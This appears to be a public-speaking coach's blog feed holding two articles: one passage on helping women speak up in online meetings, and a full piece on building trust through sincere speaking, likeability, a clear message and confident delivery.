As the meeting host or presenter, it’s your responsibility to know what your listeners will value, ie answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that they have a reason to carry on listening. To achieve this, you need to know your participants, what makes them tick and what they want from you.

Given the propensity for women to be interrupted or talked over and the challenge of reading non-verbal cues online, it is particularly important to make sure everyone feels involved in the meeting and has a chance to speak if they want to. Lay down some clear etiquette ground rules. For instance:

  • Ask participants to indicate their questions in the chat function
  • Invite specific gestures from people wanting to speak, eg the hand wave on Zoom (or other in-platform symbols) or physically wave their own hand to attract the host’s attention
  • Encourage participants to turn on their cameras so that people don’t go unseen unless it’s their choice
  • Unmute and invite people, by name, to speak

‘You’ and ‘we’ are magic words

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power comes from being both singular – a personal connection through a one-to-one conversation – and plural, including everyone. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Share your story, not your screen

Storytelling comes into its own when speaking online. When we tell a relevant personal story, openly and honestly, our listeners can relate to us as people. Stories not only create connections, but they are both engaging and memorable:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to losing your listeners. Prioritise relevant storytelling at every opportunity.

Change

In the words of John F Kennedy, “The only reason to give a speech is to change the world.” Speaking up at meetings and events is our opportunity to remain visible, explore and share change and start building our future.

Message for the moment

To stand out online, what you have to say needs to be new and on point. Start at the end of your presentation or meeting with how you want people to think, feel or act afterwards. Identify your message and only incorporate content that supports it. Check your favourite search engine to make sure your message fits the bill.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Make life easy for your audience

Zoom fatigue and Teams tedium are now part of our lives and our attention spans are short at the best of times. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners. Less is most definitely more online.

Adopt a clear structure, such as a timeline, pros & cons, heroine’s journey, etc. Break up your presentation into small ‘chunks’ of around five minutes each and top and tail each chunk with what you’ll cover and a keyword to sum it up. Signpost what you have to say so your audience has the ‘road map’ for your talk and it’s clear and easy to follow.

Support each other and interact at every opportunity when speaking online

In Zoom and Teams you can create breakouts. Dividing your audience into smaller groups and sending them to separate rooms where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas. Aiming to make some 70% of the time interactive (interspersed with short presentations) will make time online more dynamic, relevant and memorable.

If you feel that the gender dynamic is making some participants reluctant to speak up, breakouts can create an opportunity for people to come together and support each other.

Conclusion

Women are half the world’s population. Women speaking online is an important opportunity to claim their voice and be seen and heard, while preparing for a future where we will almost certainly need to shine online AND in physical locations, with a real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article was originally published by Network She as ‘Claim your voice and shine online‘

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]]> Can you be trusted? The skilful art of sincere speaking https://www.nowyouretalking.co.uk/2020/09/21/can-you-be-trusted-the-skilful-art-of-sincere-speaking/ Mon, 21 Sep 2020 13:59:38 +0000 https://www.nowyouretalking.co.uk/?p=1297 Across the globe, we trust scientists, doctors and teachers.  Over half of us consider these professions to be trustworthy (Ipsos Global Advisor). Business leaders don’t fare so well, with just one in five being described as trustworthy. Perhaps not unexpectedly,…

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]]> Across the globe, we trust scientists, doctors and teachers.  Over half of us consider these professions to be trustworthy (Ipsos Global Advisor). Business leaders don’t fare so well, with just one in five being described as trustworthy. Perhaps not unexpectedly, politicians are at the bottom of the heap with a mere one in ten of us placing our trust in them! Sincere speaking is integral to building trust.

What is it about scientists, doctors and teachers that makes us trust them? We tend to associate them with putting us above their own self-interest, caring about what happens to us. They have integrity, seemingly share our values and we tend to consider them competent and reliable. When they speak to us, we sense their sincerity and credibility. That trust matters because it creates a connection, a willingness to listen and engage and, ultimately, to do business.

To become business owners that people trust, sincere speaking and presenting are our golden opportunity to develop trust among potential clients, employees and other stakeholders. Whether on Zoom or in person in the room, you need to demonstrate your trustworthiness across the three communication essentials of Connection, a message that drives Change and Confidence.

Connection

Trustworthy connections happen when you demonstrate you’re likable, as well as competent, reliable and engaging. The more you know about your audience, the stronger your ability to connect sincerely with them and influence their thinking and behaviour on their terms.

Consider for a moment pitching for new business. You don’t just focus on the product or service you’re offering, but also what the working relationship will be like. You’re selling trust that you can deliver, but also an experience the client will enjoy.

Likeability and shared values

If audiences don’t like us, they won’t connect with us or what we have to say. So our first job, when we are in front of an audience, is to give them things to like. This means we need to make people feel good about us. Think about how you connect with people socially. You probably smile, make good eye contact, talk in a friendly and interested conversational style, etc.

This works when you’re being yourself, openly and sincerely, with nothing to hide, sharing personal stories and vulnerabilities. By showing people who you are, your beliefs and values, they can relate to you as a fellow human being and begin to trust you.

As far as possible, choose to talk about subjects that you care about, your ‘why’. Granted, this may not always be possible. In such situations, try to find angles that are important to you and matter to your listeners. When you talk about something you care about, sincere speaking and enthusiasm for your subject shine through. Assuming you’ve taken care to choose a topic that’s relevant to your audience, they will connect and engage with you.

It’s no coincidence that judges on reality TV shows talk about a contestant being relatable. This happens when someone comes across as a potential friend. They can feel the person’s vulnerability and humanity.

Part of this process involves using language and gestures that are aligned with your listeners’. In addition, the word ‘you’ in the English language feels personal and caring. It gives the sense that you’re having a one-to-one conversation with each person in your audience.

In business, we don’t just trade products and services, but also the experience of working together. We need to convey the quality of that experience, so presenting ourselves as likeable is key.

Competence and reliability

However, likeability alone is not enough. When Mr Bean travels to America with the responsibility of bringing a highly valuable painting to a Los Angeles museum, he is likeable, but far from competent or reliable. What you say also needs to be well researched and accurate as evidence of your competence and reliability. Testimonials and recommendations can also help here.

A combination of evidenced information, illustrated with relevant and relatable stories and anecdotes connects, engages and stands out.

Storytelling connects us as human beings. Opening a presentation with a well-crafted and relevant personal story will captivate an audience. And because it’s personal, it’s authentic and uniquely yours to tell. Stories are not only relatable, but they are also memorable and far more so than facts and figures. So, judiciously used stories and anecdotes that are relevant and presented in the appropriate speaking style for your audience are invaluable in connecting with your audience and making a positive impact.

Your delivery is perhaps even more important in demonstrating competence and reliability as a business leader, supplier or employer. Congruence is paramount in transmitting sincerity and trustworthiness because your body doesn’t lie. If your words don’t match your facial expressions or hand gestures, audiences will believe what they see over what they hear.

Try to use gestures and expressions that feel natural and reinforce your words and meaning. Be aware of your body language in everyday conversation and bring that authenticity to your speeches and presentations. Scale up or down for the size of your audience and the platform (dial it up for a large conference style, down for a smaller video meeting).

A sincere message that drives change

We’re seeing increasing numbers of articles about Zoom fatigue and Teams tedium. As business owners, we have a responsibility to make sure we’re not adding to this groundswell of disappointing meetings and events that seem to lack purpose and relevance.

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what is relevant and a message they’ll value.

However, not any message will do. It needs to be something you also care about, so that your sincere speaking shines through, authentically.

The acid test is to swap places with your audience and answer the question “What do I get out of listening to this talk/presentation?” What’s in it for me? A key element of building trust in the way of a teacher or doctor is that they’re doing it for us. There’s no sense of self-interest in the way that we might suspect in a politician. It matters, personally.

To avoid self-interest and ensure we focus on the needs of our listeners we must start by thinking about our message and its value to them. When preparing a speech, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message, doesn’t belong in this particular talk or presentation.

Confident and sincere speaking

Confidence matters because it is part of your authority and credibility as a businessperson and as a speaker . It’s what Aristotle refers to as your ‘ethos’.

If you don’t feel confident in what you have to say, then why should your audience? When audiences sense you’re nervous, they may be more concerned about your wellbeing or even whether you have something to hide.

Authenticity is key here. We shouldn’t assume being confident means being extrovert, but it is about being yourself. People often say to me that they can’t be a good speaker because they are introverts and feel uncomfortable trying to show up as some high-energy, gregarious, perhaps larger-than-life version of themselves. Maintaining this persona is untenable and exhausting. It’s also unnecessary.

Public speaking isn’t about being a ‘big’ presence. When you’re yourself and talking about something that matters to you and your audience, people will listen. Quiet confidence is still confidence. People like Bill Gates, JK Rowling and Mahatma Gandhi are all testimony to how introverts can be great speakers. They understand that speaking is about connecting sincerely with their audience and sharing their ‘why’ to benefit others.

Sincere body language and voice are fundamental in communicating confidence and delivering trust:

  • A sincere smile engenders both likeability and trust.
  • Steady and assured eye contact helps people feel comfortable and willing to engage.
  • An open stance and posture show that you have nothing to hide. They send a signal to the audience that you are confident and open.
  • Your voice is part of who you are. Your accent is part of your identity. Authenticity is not about trying to hide or change your voice. Be proud of your voice and learn how to project it effectively to bring ease of understanding and interest to your listeners.

Sincere speaking styles

Sincerity is at the heart of skilful speeches, talks and presentations. It enables you to deliver a meaningful and memorable message to your audiences. It engenders trust in all aspects of your business and among all your stakeholders.

Of course, different audiences and speaking situations may well require different speaking styles. For instance, if you’re talking to a technical audience, they tend to favour visual aids and ‘data’ to support your message. That’s not to say that they don’t appreciate a story or anecdote, but they also value an evidence-based focus.

If your intention is to inspire, you probably need to share your personal story and reveal your vulnerabilities. Then  your audience can adopt your experience and learnings into their own lives. In these situations, slides can be an obstacle and undermine the emotional connection of your story.

During a new business pitch, you obviously need to demonstrate your competence for the proposed project, but also what it will be like to work with you. It is after all often the nature of the working relationship that differentiates one business offer from another.

Whatever style you deem appropriate to connect with, and delight, your audience, remaining ‘true to you’ is crucial. If you try to conceal the real you behind some persona, your audience will know and wonder what you’re hiding.

A final thought…

Trust is, arguably, your most important business asset. Without it, you’ll struggle to develop long-term and lucrative client relationships, have an enviable record in staff retention and be a go-to spokesperson for your other stakeholders. Sincere speaking will help you stand out as a trustworthy business leader and continuously build business success.

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